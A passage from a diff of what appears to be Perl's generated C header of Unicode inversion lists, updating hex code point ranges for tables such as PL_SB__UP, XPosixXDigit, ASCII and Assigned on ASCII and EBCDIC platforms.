0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4F, + 0xD54, + 0xD58, + 0xD5F, + 0xD64, + 0xD66, + 0xD70, + 0xD7A, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF4, + 0xE01, + 0xE3B, + 0xE40, + 0xE4F, + 0xE50, + 0xE5A, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF01, + 0xF18, + 0xF1A, + 0xF20, + 0xF2A, + 0xF35, + 0xF36, + 0xF37, + 0xF38, + 0xF39, + 0xF3A, + 0xF3E, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF85, + 0xF86, + 0xF98, + 0xF99, + 0xFBD, + 0xFC6, + 0xFC7, + 0x1000, + 0x104A, + 0x1050, + 0x109E, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x10FB, + 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x1360, + 0x1380, + 0x1390, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, + 0x166D, + 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x16A0, + 0x16EB, + 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1715, + 0x1720, + 0x1735, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17D4, + 0x17D7, + 0x17D8, + 0x17DC, + 0x17DE, + 0x17E0, + 0x17EA, + 0x180B, + 0x180E, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1946, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DA, + 0x1A00, + 0x1A1C, + 0x1A20, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA7, + 0x1AA8, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B4C, + 0x1B50, + 0x1B5A, + 0x1B6B, + 0x1B74, + 0x1B80, + 0x1BF4, + 0x1C00, + 0x1C38, + 0x1C40, + 0x1C4A, + 0x1C4D, + 0x1C7E, + 0x1C80, + 0x1C89, + 0x1CD0, + 0x1CD3, + 0x1CD4, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DF6, + 0x1DFB, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, + 0x200C, + 0x200E, + 0x203F, + 0x2041, + 0x2054, + 0x2055, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, + 0x20D0, + 0x20F1, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, + 0x212F, + 0x213A, + 0x213C, + 0x2140, + 0x2145, + 0x214A, + 0x214E, + 0x214F, + 0x2160, + 0x2189, + 0x24B6, + 0x24EA, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CE5, + 0x2CEB, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, + 0x2D7F, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E00, + 0x2E2F, + 0x2E30, + 0x3005, + 0x3008, + 0x3021, + 0x3030, + 0x3031, + 0x3036, + 0x3038, + 0x303D, + 0x3041, + 0x3097, + 0x3099, + 0x309B, + 0x309D, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x31A0, + 0x31BB, + 0x31F0, + 0x3200, + 0x3400, + 0x4DB6, + 0x4E00, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA4D0, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA610, + 0xA62C, + 0xA640, + 0xA673, + 0xA674, + 0xA67E, + 0xA67F, + 0xA6F2, + 0xA717, + 0xA720, + 0xA722, + 0xA789, 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, 0xA7AF, 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, + 0xA7B8, + 0xA7F7, + 0xA828, + 0xA840, + 0xA874, + 0xA880, + 0xA8C6, + 0xA8D0, + 0xA8DA, + 0xA8E0, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA900, + 0xA92E, + 0xA930, + 0xA954, + 0xA960, + 0xA97D, + 0xA980, + 0xA9C1, + 0xA9CF, + 0xA9DA, + 0xA9E0, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA60, + 0xAA77, + 0xAA7A, + 0xAAC3, + 0xAADB, + 0xAADE, + 0xAAE0, + 0xAAF0, + 0xAAF2, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, + 0xABEB, + 0xABEC, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBB2, + 0xFBD3, + 0xFD3E, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFC, + 0xFE00, + 0xFE10, + 0xFE20, + 0xFE30, + 0xFE33, + 0xFE35, + 0xFE4D, + 0xFE50, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFF10, + 0xFF1A, 0xFF21, 0xFF3B, + 0xFF3F, + 0xFF40, + 0xFF41, + 0xFF5B, + 0xFF66, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10140, + 0x10175, + 0x101FD, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102E1, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, 0x10400, - 0x10428, + 0x1049E, + 0x104A0, + 0x104AA, 0x104B0, 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, + 0x10877, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, + 0x10AC8, + 0x10AC9, + 0x10AE7, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, 0x10C80, 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x11000, + 0x11047, + 0x11066, + 0x11070, + 0x1107F, + 0x110BB, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11140, + 0x11150, + 0x11174, + 0x11176, + 0x11177, + 0x11180, + 0x111C5, + 0x111CA, + 0x111CD, + 0x111D0, + 0x111DB, + 0x111DC, + 0x111DD, + 0x11200, + 0x11212, + 0x11213, + 0x11238, + 0x1123E, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112A9, + 0x112B0, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1144B, + 0x11450, + 0x1145A, + 0x11480, + 0x114C6, + 0x114C7, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115B6, + 0x115B8, + 0x115C1, + 0x115D8, + 0x115DE, + 0x11600, + 0x11641, + 0x11644, + 0x11645, + 0x11650, + 0x1165A, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x1173A, 0x118A0, - 0x118C0, + 0x118EA, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C41, + 0x11C50, + 0x11C5A, + 0x11C72, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF5, + 0x16B00, + 0x16B37, + 0x16B40, + 0x16B44, + 0x16B50, + 0x16B5A, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9D, + 0x1BC9F, + 0x1D165, + 0x1D16A, + 0x1D16D, + 0x1D173, + 0x1D17B, + 0x1D183, + 0x1D185, + 0x1D18C, + 0x1D1AA, + 0x1D1AE, + 0x1D242, + 0x1D245, 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D468, - 0x1D482, - 0x1D49C, + 0x1D455, + 0x1D456, 0x1D49D, 0x1D49E, 0x1D4A0, @@ -336433,10 +31292,12 @@ static const UV PL_SB__UP_invlist[] = { /* for ASCII/Latin1 */ 0x1D4A9, 0x1D4AD, 0x1D4AE, - 0x1D4B6, - 0x1D4D0, - 0x1D4EA, - 0x1D504, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, 0x1D506, 0x1D507, 0x1D50B, @@ -336444,7 +31305,7 @@ static const UV PL_SB__UP_invlist[] = { /* for ASCII/Latin1 */ 0x1D515, 0x1D516, 0x1D51D, - 0x1D538, + 0x1D51E, 0x1D53A, 0x1D53B, 0x1D53F, @@ -336454,881 +31315,731 @@ static const UV PL_SB__UP_invlist[] = { /* for ASCII/Latin1 */ 0x1D547, 0x1D54A, 0x1D551, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, + 0x1D552, + 0x1D6A6, 0x1D6A8, 0x1D6C1, - 0x1D6E2, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, 0x1D6FB, - 0x1D71C, + 0x1D6FC, + 0x1D715, + 0x1D716, 0x1D735, - 0x1D756, + 0x1D736, + 0x1D74F, + 0x1D750, 0x1D76F, - 0x1D790, + 0x1D770, + 0x1D789, + 0x1D78A, 0x1D7A9, - 0x1D7CA, - 0x1D7CB, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, + 0x1D7CE, + 0x1D800, + 0x1DA00, + 0x1DA37, + 0x1DA3B, + 0x1DA6D, + 0x1DA75, + 0x1DA76, + 0x1DA84, + 0x1DA85, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8D0, + 0x1E8D7, 0x1E900, - 0x1E922, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 1047 */ - 1289, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0100, + 0xE01F0 +}; + +static const UV XPosixXDigit_invlist[] = { /* for ASCII/Latin1 */ + 13, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x30, + 0x3A, + 0x41, + 0x47, + 0x61, + 0x67, + 0xFF10, + 0xFF1A, + 0xFF21, + 0xFF27, + 0xFF41, + 0xFF47 +}; + +#endif /* defined(PERL_IN_PERL_C) */ + +#endif /* ASCII/Latin1 */ + +#if 'A' == 193 /* EBCDIC 1047 */ \ + && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ + && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ + && '$' == 91 && '@' == 124 && '`' == 121 + +#if defined(PERL_IN_PERL_C) + +static const UV ASCII_invlist[] = { /* for EBCDIC 1047 */ + 54, /* Number of elements */ + 148565664, /* Version and data structure type */ + 0, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x4, + 0x5, + 0x6, + 0x7, + 0x8, + 0xB, + 0x14, + 0x15, + 0x17, + 0x18, + 0x1A, + 0x1C, + 0x20, + 0x26, + 0x28, + 0x2D, + 0x30, + 0x32, + 0x33, + 0x37, + 0x38, + 0x3C, + 0x3E, + 0x3F, + 0x41, + 0x4B, + 0x51, + 0x5A, + 0x62, + 0x6B, + 0x70, + 0x79, + 0x80, + 0x81, + 0x8A, + 0x91, + 0x9A, + 0xA1, + 0xAA, + 0xAD, + 0xAE, + 0xBD, + 0xBE, + 0xC0, + 0xCA, + 0xD0, + 0xDA, + 0xE0, + 0xE1, + 0xE2, + 0xEA, + 0xF0, + 0xFA +}; + +static const UV Assigned_invlist[] = { /* for EBCDIC 1047 */ + 1276, /* Number of elements */ + 148565664, /* Version and data structure type */ + 0, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x378, + 0x37A, 0x380, - 0x386, - 0x387, - 0x388, + 0x384, 0x38B, 0x38C, 0x38D, 0x38E, - 0x390, - 0x391, 0x3A2, 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, + 0x530, 0x531, 0x557, - 0x10A0, + 0x559, + 0x560, + 0x561, + 0x588, + 0x589, + 0x58B, + 0x58D, + 0x590, + 0x591, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F5, + 0x600, + 0x61D, + 0x61E, + 0x70E, + 0x70F, + 0x74B, + 0x74D, + 0x7B2, + 0x7C0, + 0x7FB, + 0x800, + 0x82E, + 0x830, + 0x83F, + 0x840, + 0x85C, + 0x85E, + 0x85F, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9E6, + 0x9FC, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA76, + 